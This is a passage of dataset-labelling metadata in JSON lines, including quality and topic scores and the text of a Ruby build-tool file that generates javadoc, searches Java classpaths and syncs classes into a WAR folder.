"Structured Data": 0.37225668945668056, "Technical Writing": 0.09764013799483966, "Transcript / Interview": 0.0006250565448691363, "Tutorial / How-To Guide": 0.030915791519952843, "User Reviews": 0.0002967622051380633, "NONE": 0.48392221809686914}, "tertiary": {"Academic Writing": 0.0008357277353715729, "Content Listing": 0.0009062888271340632, "Creative Writing": 0.0006698033506941027, "Customer Support Page": 0.0005911334881483385, "Q&A Forum": 0.00033569965445841434, "Discussion Thread": 0.00024219880504989345, "Comment Section": 0.0004880871566198708, "Missing Content": 0.001385863009760356, "Knowledge Article": 0.004768515825156079, "Legal Notices": 0.0005568084072672592, "News Article": 0.00041993083246009207, "Organizational Announcement": 0.0004634568519418116, "Nonfiction Writing": 0.0004119070258673866, "Organizational About Page": 0.0005100345164204341, "Personal About Page": 0.00031534936260649684, "Personal Blog": 0.0002837186287490897, "Product Page": 0.0003041828147175577, "Spam / Ads": 0.0003626398289170512, "Structured Data": 0.1544722227139516, "Technical Writing": 0.047009622379748914, "Transcript / Interview": 0.0005330445015683655, "Tutorial / How-To Guide": 0.06118436154225141, "User Reviews": 0.00020646186539903614, "NONE": 0.7227429408757408}, "structured_records": {"false": 0.022697979203466945, "true": 0.977302020796533}, "procedural_steps": {"false": 0.9180039188899219, "true": 0.0819960811100781}, "worked_solution": {"false": 0.5320067833279005, "true": 0.46799321667209953}, "contextual_dialogue": {"false": 0.9999946238594312, "true": 5.37614056881337e-06}, "content_quality": {"-2": 0.004391886551053133, "-1": 0.03718412985481938, "0": 0.1441414070761173, "1": 0.44355680554977167, "2": 0.3707257709682385}, "noise_severity": {"0": 0.6648378061453982, "1": 0.277076126690959, "2": 0.04049134910169327, "3": 0.012284067356167487, "4": 0.005310650705782028}, "missing_content_severity": {"0": 0.7945463127762727, "1": 0.15856561664652555, "2": 0.040522689139468514, "3": 0.00435468859589133, "4": 0.002010692841841946}, "factual_density": {"0": 0.0016393716351592819, "1": 0.006421175988598673, "2": 0.07220062953085866, "3": 0.43979543084089456, "4": 0.4799433920044888}, "pretraining_utility": {"-2": 0.009725670549204628, "-1": 0.11912806128806394, "0": 0.39999011255611283, "1": 0.4044905343149534, "2": 0.06666562129166524}, "math_density": {"0": 0.9900078860278462, "1": 0.006467847894602147, "2": 0.0012599026803106507, "3": 0.0008540388976193983, "4": 0.0014103244996215992}, "code_density": {"0": 0.000487725210193017, "1": 0.001345812838498441, "2": 0.0766642308304049, "3": 0.3717267924103937, "4": 0.5497754387105099}, "reasoning_density": {"0": 0.4939167188497871, "1": 0.17238803223745883, "2": 0.21829995743926361, "3": 0.07853763459111565, "4": 0.03685765688237482}, "education_level": {"none": 0.0014685602144210135, "0": 0.00259236432027376, "1": 0.04160198445772696, "2": 0.7920283203757817, "3": 0.14958664725369278, "4": 0.012722123378103755}, "creative_writing_quality": {"not_applicable": 0.9993266726869486, "-2": 6.715210204589659e-05, "-1": 0.00013990755595261764, "0": 0.0003215287774550503, "1": 0.00010990705496919095, "2": 3.4831822628562836e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.641179257978187e-05, "Art & Design": 9.294209349423244e-05, "Law & Crime": 0.00010125488188116554, "Education & Careers": 6.731062570221239e-05, "Entertainment & Media": 4.837171580469746e-05, "Fashion & Beauty": 6.441982547324654e-05, "Business, Economics & Finance": 0.00018230129198652174, "Food & Dining": 6.620728201151825e-05, "Games & Gaming": 0.00010096646995240243, "Electronics & Hardware": 9.185122610721787e-05, "Health, Healthcare & Wellness": 9.225404177038191e-05, "History & Geography": 0.02555360725724968, "Home, Pets & Hobbies": 7.806456687484827e-05, "Industry & Production": 7.530047341821789e-05, "Language, Literature & Philosophy": 0.00015003870492971455, "Politics & Government": 0.0004480347269842847, "Religion & Spirituality": 7.251057135634103e-05, "Science, Mathematics & Engineering": 0.0003513594168995163, "Relationships & Community": 4.394827141355677e-05, "Software Usage & Applications": 0.0014742491795246713, "Programming & Software Engineering": 0.9663426791934182, "Sports & Fitness": 7.11677573471351e-05, "Vehicles & Transportation": 5.2919751934441544e-05, "Travel & Tourism": 0.0003150615411584051, "Other / Uncovered Subject": 0.0038960788112424568, "Unknown / Insufficient Content": 0.00010068852948515343}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011091369126540096, "Art & Design": 0.000864024089513341, "Law & Crime": 0.001170916318700297, "Education & Careers": 0.0005090763388112771, "Entertainment & Media": 0.0005352365508399581, "Fashion & Beauty": 0.0004895482520333615, "Business, Economics & Finance": 0.0009539807969405997, "Food & Dining": 0.0004336848995479083, "Games & Gaming": 0.0006296108268739215, "Electronics & Hardware": 0.0006464838620384079, "Health, Healthcare & Wellness": 0.0005998033385187651, "History & Geography": 0.4807124999633844, "Home, Pets & Hobbies": 0.0007354535528606658, "Industry & Production": 0.0005394504111609608, "Language, Literature & Philosophy": 0.00047612415808898767, "Politics & Government": 0.0011648940091786711, "Religion & Spirituality": 0.0006419807250508863, "Science, Mathematics & Engineering": 0.001658983153325981, "Relationships & Community": 0.0002611658540263956, "Software Usage & Applications": 0.002637742059612168, "Programming & Software Engineering": 0.05948720941273966, "Sports & Fitness": 0.00036420465999771, "Vehicles & Transportation": 0.00034496816319806175, "Travel & Tourism": 0.0008966924030655939, "Other / Uncovered Subject": 0.005342444249552907, "NONE": 0.43679468503828517}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 13171, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 13171, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:10.950500+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "8948e63b-a0f0-49ce-93da-d555e4d68272", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "dd14239b0b7deec3043a1fdff3715cb5e9d17a830a197ba42ce537091e08942f", "source_metadata": {"uuid": "8948e63b-a0f0-49ce-93da-d555e4d68272", "repo_name": "lyrasis/kiba-extend", "relative_path": "lib/kiba/extend/transforms/cspace/address_country.rb", "category": "TOOL", "algo_rel_score": 0.8149369955062866, "quality_score": 4.905835151672363, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 980, "repo_created_at": "2020-05-22T14:15:58.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 6, "forks": 0, "issues": 14, "pull_requests": 1}, "file_meta": {"content_id": "00979cab749f268af8dda7d9338f267079429986", "size_bytes": 16087, "file_timestamp": 1752599886, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "1497b516a61a6c404838e7dc5b08685f3921a308"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 980, "repo_created_at": "2020-05-22T14:15:58.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 6, "forks": 0, "issues": 14, "pull_requests": 1}, "file_meta": {"content_id": "00979cab749f268af8dda7d9338f267079429986", "size_bytes": 16087, "file_timestamp": 1752599886, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "1497b516a61a6c404838e7dc5b08685f3921a308", "url": "https://github.com/lyrasis/kiba-extend/blob/1497b516a61a6c404838e7dc5b08685f3921a308/lib/kiba/extend/transforms/cspace/address_country.rb"}, "gpt4o_tokens": 4244, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.139040444529323, "noise_severity": 0.4161536297859761, "missing_content_severity": 0.26071783208050436, "factual_density": 3.3899822955909547, "pretraining_utility": 0.3992423745118107, "math_density": 0.01719106794656804, "code_density": 3.468956406572529, "reasoning_density": 0.9920314784188323, "education_level": 2.1284327922004787, "creative_writing_quality": -0.140557286157321}, "score_applicability": {"education_level": 0.998531439785579, "creative_writing_quality": 0.0006733273130513183}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/barmalei/lithium/blob/fc9cee7de52d83130b236256edd705113d8e198b/lib/lithium/java-artifact/misc.rb", "id": "ruby-0-fe78341edf2eb67f7ed4f6e0b0f2e9d5", "text": "require 'lithium/core'\r\nrequire 'lithium/java-artifact/base'\r\n\r\nclass JavaDoc < FileCommand\r\n #include LogArtifactState\r\n\r\n def initialize(*args)\r\n REQUIRE JAVA\r\n @sources = []\r\n super\r\n @sources = $lithium_args.dup if @sources.length == 0 && $lithium_args.length > 0\r\n end\r\n\r\n def build()\r\n pkgs = []\r\n files = []\r\n\r\n fp = fullpath()\r\n raise \"Javadoc destination cannot point to a directory '#{fp}'\" if File.exists?(fp) || File.file?(fp)\r\n\r\n @sources.each { | source |\r\n fp = fullpath(source)\r\n raise \"Source path '#{fp}' doesn't exists\" unless File.exists?(fp)\r\n raise \"Source path '#{fp}' points to a file\" unless File.directory?(fp)\r\n\r\n FileArtifact.grep(File.join(source, '**', '*.java'), /^package\\s+([a-zA-Z._0-9]+)\\s*;/, true) { | path, line_num, line, matched_part |\r\n pkgs.push(matched_part) unless pkgs.include?(matched_part)\r\n files.push(path)\r\n }\r\n }\r\n\r\n if files.length > 0\r\n puts \"Detected packages: #{pkgs.join(', ')}\"\r\n\r\n FileArtifact.tmpfile(files) { | tmp_file |\r\n r = Artifact.exec(@java.javadoc,\r\n \"-classpath '#{@java.classpath}'\",\r\n \"-d '#{fullpath()}'\",\r\n \"@#{tmp_file.path}\" )\r\n raise 'Javadoc generation has failed' if r != 0\r\n }\r\n else\r\n puts_warning 'No a source file has been found'\r\n end\r\n end\r\n\r\n def clean() FileUtils.rm_r(fullpath()) if File.exists?(fullpath()) end\r\n #def expired?() !File.exists?(fullpath()) end\r\n def what_it_does() \"Generate javadoc to '#{@name}' folder\" end\r\n\r\n def self.abbr() 'JDC' end\r\nend\r\n\r\nclass ShowClassMethods < EnvArtifact\r\n def initialize(*args)\r\n REQUIRE JAVA\r\n super\r\n end\r\n\r\n def build\r\n cn = @shortname\r\n cp = @java.classpath().to_s(File.join($lithium_code, 'classes'))\r\n \r\n res = Artifact.exec(\r\n @java.java,\r\n '-classpath', \"\\\"#{cp}\\\"\",\r\n 'lithium.JavaTools', \"methods:#{cn}\", $lithium_args[0])\r\n\r\n raise \"#{self.class.name} failed\" if res != 0\r\n end\r\nend\r\n\r\nclass FindInClasspath < FileCommand\r\n def initialize(*args)\r\n REQUIRE JAVA\r\n super\r\n @target ||= $lithium_args[0]\r\n @use_zipinfo = false\r\n @use_zipinfo = true unless FileArtifact.which('zipinfo').nil?\r\n end\r\n\r\n def build()\r\n unless @java.classpath.EMPTY?\r\n count = 0\r\n FindInClasspath.find(@use_zipinfo, @java.classpath, @target) { | path, item, is_jar |\r\n item_found(path, item, is_jar)\r\n count = count + 1\r\n }\r\n\r\n puts_warning \"No item for '#{@target}' has been found\" if count == 0\r\n else\r\n puts_warning 'Classpath is not defined'\r\n end\r\n end\r\n\r\n def item_found(path, item, is_jar)\r\n puts \" [#{path} => #{item}]\"\r\n end\r\n\r\n def FindInClasspath.find(use_zipinfo, classpath, target)\r\n classpath.paths.each { | path |\r\n if File.directory?(path)\r\n Dir.glob(File.join(path, '**', target)).each { | item |\r\n yield path, item, false\r\n }\r\n elsif path.end_with?('.jar') || path.end_with?('.zip')\r\n if use_zipinfo\r\n FindInZip.find_with_zipinfo('zipinfo', path, \"/\" + target) { | item |\r\n yield path, item, true\r\n }\r\n else\r\n FindInZip.find_with_jar('jar', path, \"/\" + target) { | item |\r\n yield path, item, true\r\n }\r\n end\r\n else\r\n wmsg \"File '#{path}' doesn't exist\" unless File.exists?(path)\r\n end\r\n }\r\n end\r\n\r\n def what_it_does() \"Looking for '#{@target}' in classpath\" end\r\nend\r\n\r\nclass FindClassInClasspath < FindInClasspath\r\n def initialize(*args)\r\n super\r\n raise 'Target class is not known' if @target.nil?\r\n @target = @target + '.class' unless @target.end_with?('.class')\r\n end\r\n\r\n def build\r\n Artifact.exec(\r\n @java.java, \r\n '-classpath',\r\n \"\\\"#{File.join($lithium_code, 'classes')}\\\"\",\r\n 'lithium.JavaTools',\r\n \"class:#{@target}\") { | stdin, stdout, thread |\r\n Artifact.read_exec_output(stdin, stdout, thread) { | line |\r\n puts line\r\n }\r\n }\r\n\r\n super\r\n end\r\n\r\n def item_found(path, item, is_jar)\r\n unless is_jar\r\n path = path + '/' if path[-1] != '/'\r\n item[path] = ''\r\n end\r\n super\r\n end\r\n\r\n def self.abbr() 'FCC' end\r\nend\r\n\r\ndef SyncWarClasses(art, war_path)\r\n war_dir = File.dirname(war_path)\r\n war_path = File.join($lithium_options['app_server_root'], war_path) if war_dir.nil? || war_dir == '.'\r\n\r\n raise \"Invalid WAR path '#{war_path}'\" unless File.directory?(war_path)\r\n dest = File.join(war_path, 'WEB-INF', 'classes')\r\n raise \"Invalid WAR classpath path '#{dest}'\" unless File.directory?(dest)\r\n\r\n art.list_dest_paths { | path, pkg |\r\n puts \"Copy '#{path}' to '#{dest}'\"\r\n\r\n FileArtifact.cpfile(path,\r\n File.join(dest, pkg.gsub('.', '/'))\r\n )\r\n }\r\n\r\n Touch.touch(File.join(war_path, 'WEB-INF', 'web.xml'))\r\n Touch.touch(File.join(war_path, '..', \"#{File.basename(war_path)}.deployed\"))\r\nend", "text_preview": "require 'lithium/core' require 'lithium/java-artifact/base' class JavaDoc < FileCommand #include LogArtifactState def initialize(*args) REQUIRE JAVA @sources = [] super @sources = $lithium_args.dup if @sources.length == 0 && $lithium_args.l", "input_sha256": "8037c782eac6f238aa822da783cac6be453134c88e4d3a5a5285230154669925", "text_sha256": "fe78341edf2eb67f7ed4f6e0b0f2e9d5fbf8e5d0902bc23a1f2227bdfb6f1bc1", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16065, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7479389486648191, "noise_severity": 0.00822518077951583, "missing_content_severity": 0.022349374131170302, "factual_density": 3.5041547474811003, "pretraining_utility": 0.35885246397768605, "math_density": 0.006789439775192903, "code_density": 3.9162588393544695, "reasoning_density": 0.4724058229862866, "education_level": 2.6280803153539023, "creative_writing_quality": -0.3298447974895661}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.002397548437523156, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.997543203621116, "secondary": 0.9899377748979001, "tertiary": 0.9924395645718374, "structured_records": 0.004432531952646009, "procedural_steps": 0.0439221141544618, "worked_solution": 0.0010211636074869792, "contextual_dialogue": 5.357019956616762e-06, "content_quality": 0.5069619352190359, "noise_severity": 0.9931456826837368, "missing_content_severity": 0.9813755215573581, "factual_density": 0.5867956229009168, "pretraining_utility": 0.4877822549266023, "math_density": 0.9943421335206726, "code_density": 0.9302156994620576, "reasoning_density": 0.6063284808447613, "education_level": 0.3812368224514333, "creative_writing_quality": 0.9994587950918197, "primary_topic": 0.997726931313512, "secondary_topic": 0.9659609849939903}, "probability_margin": {"primary": 0.9962084557227265, "secondary": 0.9849265620847809, "tertiary": 0.988799715806918, "education_level": 0.05332092006961753, "creative_writing_quality": 0.9993466154359517, "primary_topic": 0.9965456756791541, "secondary_topic": 0.949499451812515}, "raw_probabilities": {"primary": {"Academic Writing": 2.3319339026482508e-05, "Content Listing": 1.8747097523227055e-05, "Creative Writing": 1.2941648013774222e-05, "Customer Support Page": 8.768301711393856e-06, "Q&A Forum": 8.620239780251336e-06, "Discussion Thread": 5.391947127670383e-06, "Comment Section": 8.044761257740148e-06, "Missing Content": 1.724681907349497e-05, "Knowledge Article": 7.864901361002019e-05, "Legal Notices": 3.430981518406308e-05, "News Article": 3.082418102678456e-06, "Organizational Announcement": 8.080172741576218e-06, "Nonfiction Writing": 7.111582858605448e-06, "Organizational About Page": 7.725301977479145e-06, "Personal About Page": 7.3721287061272835e-06, "Personal Blog": 4.906224629449301e-06, "Product Page": 5.186799388085837e-06, "Spam / Ads": 6.587264212031189e-06, "Structured Data": 0.000272140522296893, "Technical Writing": 0.9976455701369029, "Transcript / Interview": 1.2299583974067869e-05, "Tutorial / How-To Guide": 0.00036219281685916923, "User Reviews": 4.591650866289081e-06, "Other / Unknown": 0.0014371144141763729}, "secondary": {"Academic Writing": 8.404921659527995e-05, "Content Listing": 0.00010394045990669369, "Creative Writing": 6.130294554645071e-05, "Customer Support Page": 6.39552378797637e-05, "Q&A Forum": 2.72713974568738e-05, "Discussion Thread": 2.083141456246099e-05, "Comment Section": 5.191895779564196e-05, "Missing Content": 0.00020692034189722823, "Knowledge Article": 0.00043082698635588644, "Legal Notices": 0.00017371908917063767, "News Article": 3.082543900760264e-05, "Organizational Announcement": 3.490745355846639e-05, "Nonfiction Writing": 2.742110598150446e-05, "Organizational About Page": 3.9664250677858684e-05, "Personal About Page": 3.496339281608716e-05, "Personal Blog": 2.7079008657866785e-05, "Product Page": 2.0848327718366778e-05, "Spam / Ads": 4.111377644790189e-05, "Structured Data": 0.0012061381667077902, "Technical Writing": 0.005430472192373324, "Transcript / Interview": 4.3966502976345895e-05, "Tutorial / How-To Guide": 0.0014646447615635529, "User Reviews": 1.6185297192199884e-05, "NONE": 0.9903570342771543}, "tertiary": {"Academic Writing": 5.796097210326509e-05, "Content Listing": 9.354457888316075e-05, "Creative Writing": 6.221098363222864e-05, "Customer Support Page": 5.1414890904630355e-05, "Q&A Forum": 2.350828016077626e-05, "Discussion Thread": 1.7333513798945008e-05, "Comment Section": 8.301373945228476e-05, "Missing Content": 0.00034918106631578495, "Knowledge Article": 0.0004195566915073756, "Legal Notices": 0.0001898985123046866, "News Article": 3.15405248864351e-05, "Organizational Announcement": 2.94740546100402e-05, "Nonfiction Writing": 3.254838613977504e-05, "Organizational About Page": 4.91816676809074e-05, "Personal About Page": 2.7375521809214264e-05, "Personal Blog": 2.356354118664212e-05, "Product Page": 2.3123532058297497e-05, "Spam / Ads": 4.5316766841252876e-05, "Structured Data": 0.0005063740525106536, "Technical Writing": 0.003954866907759469, "Transcript / Interview": 4.180493378077228e-05, "Tutorial / How-To Guide": 0.0011153395310433687, "User Reviews": 1.7284635952560957e-05, "NONE": 0.9927545827146774}, "structured_records": {"false": 0.995567468047354, "true": 0.004432531952646009}, "procedural_steps": {"false": 0.9560778858455382, "true": 0.0439221141544618}, "worked_solution": {"false": 0.9989788363925131, "true": 0.0010211636074869792}, "contextual_dialogue": {"false": 0.9999946429800434, "true": 5.357019956616762e-06}, "content_quality": {"-2": 0.009234754067969612, "-1": 0.05217116364145492, "0": 0.2898067750493502, "1": 0.47899499404023715, "2": 0.16979231320098803}, "noise_severity": {"0": 0.9928301786144064, "1": 0.006483682591305718, "2": 0.000421767497060685, "3": 0.00015952199482139104, "4": 0.00010484930240614294}, "missing_content_severity": {"0": 0.9826762657763853, "1": 0.013691712661902614, "2": 0.0024836563971008226, "3": 0.0009031119833799008, "4": 0.0002452531812315861}, "factual_density": {"0": 0.004171222787445712, "1": 0.007065066633552976, "2": 0.06026982573049955, "3": 0.337425510007459, "4": 0.5910683748410428}, "pretraining_utility": {"-2": 0.008664371938423433, "-1": 0.11057567117834873, "0": 0.449437211933039, "1": 0.3758886108674961, "2": 0.05543413408269277}, "math_density": {"0": 0.9953173426343898, "1": 0.0037137423424576073, "2": 0.00030099018040719965, "3": 0.00019798229906069196, "4": 0.00046994254368470516}, "code_density": {"0": 0.00021111281691178597, "1": 0.00037477551608406707, "2": 0.008044216599867702, "3": 0.06568394962989613, "4": 0.9256859454372404}, "reasoning_density": {"0": 0.7448796694529464, "1": 0.10072547160911081, "2": 0.10721291286586705, "3": 0.03147325864286082, "4": 0.015708687429214784}, "education_level": {"none": 0.0011195930859444223, "0": 0.0015632247531073612, "1": 0.005893525950306494, "2": 0.4310430986399102, "3": 0.4843640187095277, "4": 0.07601653886120369}, "creative_writing_quality": {"not_applicable": 0.9995489959098497, "-2": 5.984523757543104e-05, "-1": 0.0001177624985860792, "0": 0.00020238047389792586, "1": 5.334013922857879e-05, "2": 1.767574086280041e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.2621326808721045e-05, "Art & Design": 2.439177033786709e-05, "Law & Crime": 1.589310443751642e-05, "Education & Careers": 2.1092977403967878e-05, "Entertainment & Media": 1.246996011411936e-05, "Fashion & Beauty": 9.734309230905424e-06, "Business, Economics & Finance": 2.3278807776993006e-05, "Food & Dining": 1.0522312062015936e-05, "Games & Gaming": 2.839713282169549e-05, "Electronics & Hardware": 0.00013251038657494257, "Health, Healthcare & Wellness": 1.1718533003208153e-05, "History & Geography": 2.0278399842547975e-05, "Home, Pets & Hobbies": 2.4925427797944485e-05, "Industry & Production": 2.235445437767982e-05, "Language, Literature & Philosophy": 4.723809886837289e-05, "Politics & Government": 1.0323954897048434e-05, "Religion & Spirituality": 1.724583039808887e-05, "Science, Mathematics & Engineering": 0.0001828416590391305, "Relationships & Community": 1.1645704935073193e-05, "Software Usage & Applications": 0.0012686813530689662, "Programming & Software Engineering": 0.9978143570322231, "Sports & Fitness": 2.9534415187510757e-05, "Vehicles & Transportation": 1.083025136849964e-05, "Travel & Tourism": 2.555314255276153e-05, "Other / Uncovered Subject": 0.00015584723497039468, "Unknown / Insufficient Content": 4.571241990066842e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00017895845992078457, "Art & Design": 0.00013347581719227447, "Law & Crime": 0.00015836835153139274, "Education & Careers": 0.00011241312921013267, "Entertainment & Media": 0.00012655695137418714, "Fashion & Beauty": 6.783809297731153e-05, "Business, Economics & Finance": 0.000185707431678593, "Food & Dining": 7.386174001096242e-05, "Games & Gaming": 0.00011675429100452705, "Electronics & Hardware": 0.000900849264892927, "Health, Healthcare & Wellness": 7.08978352546366e-05, "History & Geography": 8.806699316857634e-05, "Home, Pets & Hobbies": 6.95726447128869e-05, "Industry & Production": 7.591653868456364e-05, "Language, Literature & Philosophy": 0.00019182858417482254, "Politics & Government": 7.518902770066036e-05, "Religion & Spirituality": 9.480029202190178e-05, "Science, Mathematics & Engineering": 0.000616654947847974, "Relationships & Community": 5.023579974777762e-05, "Software Usage & Applications": 0.011105565461162334, "Programming & Software Engineering": 0.017770726066321747, "Sports & Fitness": 7.512502164008466e-05, "Vehicles & Transportation": 3.7477403727142016e-05, "Travel & Tourism": 0.00010886729376914508, "Other / Uncovered Subject": 0.00024411468143582346, "NONE": 0.9672701778788368}}, "probabilities": {"primary": {"Academic Writing": 2.331933902648251e-05, "Content Listing": 1.8747097523227058e-05, "Creative Writing": 1.2941648013774224e-05, "Customer Support Page": 8.768301711393858e-06, "Q&A Forum": 8.620239780251337e-06, "Discussion Thread": 5.391947127670384e-06, "Comment Section": 8.04476125774015e-06, "Missing Content": 1.7246819073494973e-05, "Knowledge Article": 7.86490136100202e-05, "Legal Notices": 3.430981518406309e-05, "News Article": 3.0824181026784566e-06, "Organizational Announcement": 8.08017274157622e-06, "Nonfiction Writing": 7.111582858605449e-06, "Organizational About Page": 7.725301977479146e-06, "Personal About Page": 7.372128706127284e-06, "Personal Blog": 4.906224629449302e-06, "Product Page": 5.186799388085838e-06, "Spam / Ads": 6.58726421203119e-06, "Structured Data": 0.00027214052229689305, "Technical Writing": 0.997645570136903, "Transcript / Interview": 1.229958397406787e-05, "Tutorial / How-To Guide": 0.0003621928168591693, "User Reviews": 4.591650866289082e-06, "Other / Unknown": 0.001437114414176373}, "secondary": {"Academic Writing": 8.404921659527995e-05, "Content Listing": 0.00010394045990669369, "Creative Writing": 6.130294554645071e-05, "Customer Support Page": 6.39552378797637e-05, "Q&A Forum": 2.72713974568738e-05, "Discussion Thread": 2.083141456246099e-05, "Comment Section": 5.191895779564196e-05, "Missing Content": 0.00020692034189722823, "Knowledge Article": 0.00043082698635588644, "Legal Notices": 0.00017371908917063767, "News Article": 3.082543900760264e-05, "Organizational Announcement": 3.490745355846639e-05, "Nonfiction Writing": 2.742110598150446e-05, "Organizational About Page": 3.9664250677858684e-05, "Personal About Page": 3.496339281608716e-05, "Personal Blog": 2.7079008657866785e-05, "Product Page": 2.0848327718366778e-05, "Spam / Ads": 4.111377644790189e-05, "Structured Data": 0.0012061381667077902, "Technical Writing": 0.005430472192373324, "Transcript / Interview": 4.3966502976345895e-05, "Tutorial / How-To Guide": 0.0014646447615635529, "User Reviews": 1.6185297192199884e-05, "NONE": 0.9903570342771543}, "tertiary": {"Academic Writing": 5.796097210326509e-05, "Content Listing": 9.354457888316075e-05, "Creative Writing": 6.221098363222864e-05, "Customer Support Page": 5.1414890904630355e-05, "Q&A Forum": 2.350828016077626e-05, "Discussion Thread": 1.7333513798945008e-05, "Comment Section": 8.301373945228476e-05, "Missing Content": 0.00034918106631578495, "Knowledge Article": 0.0004195566915073756, "Legal Notices": 0.0001898985123046866, "News Article": 3.15405248864351e-05, "Organizational Announcement": 2.94740546100402e-05, "Nonfiction Writing": 3.254838613977504e-05, "Organizational About Page": 4.91816676809074e-05, "Personal About Page": 2.7375521809214264e-05, "Personal Blog": 2.356354118664212e-05, "Product Page": 2.3123532058297497e-05, "Spam / Ads": 4.5316766841252876e-05, "Structured Data": 0.0005063740525106536, "Technical Writing": 0.003954866907759469, "Transcript / Interview": 4.180493378077228e-05, "Tutorial / How-To Guide": 0.0011153395310433687, "User Reviews": 1.7284635952560957e-05, "NONE": 0.9927545827146774}, "structured_records": {"false": 0.995567468047354, "true": 0.004432531952646009}, "procedural_steps": {"false": 0.9560778858455382, "true": 0.0439221141544618}, "worked_solution": {"false": 0.9989788363925131, "true": 0.0010211636074869792}, "contextual_dialogue": {"false": 0.9999946429800434, "true": 5.357019956616762e-06}, "content_quality": {"-2": 0.009234754067969614, "-1": 0.05217116364145493, "0": 0.28980677504935026, "1": 0.4789949940402372, "2": 0.16979231320098806}, "noise_severity": {"0": 0.9928301786144061, "1": 0.006483682591305716, "2": 0.0004217674970606849, "3": 0.00015952199482139102, "4": 0.00010484930240614292}, "missing_content_severity": {"0": 0.9826762657763851, "1": 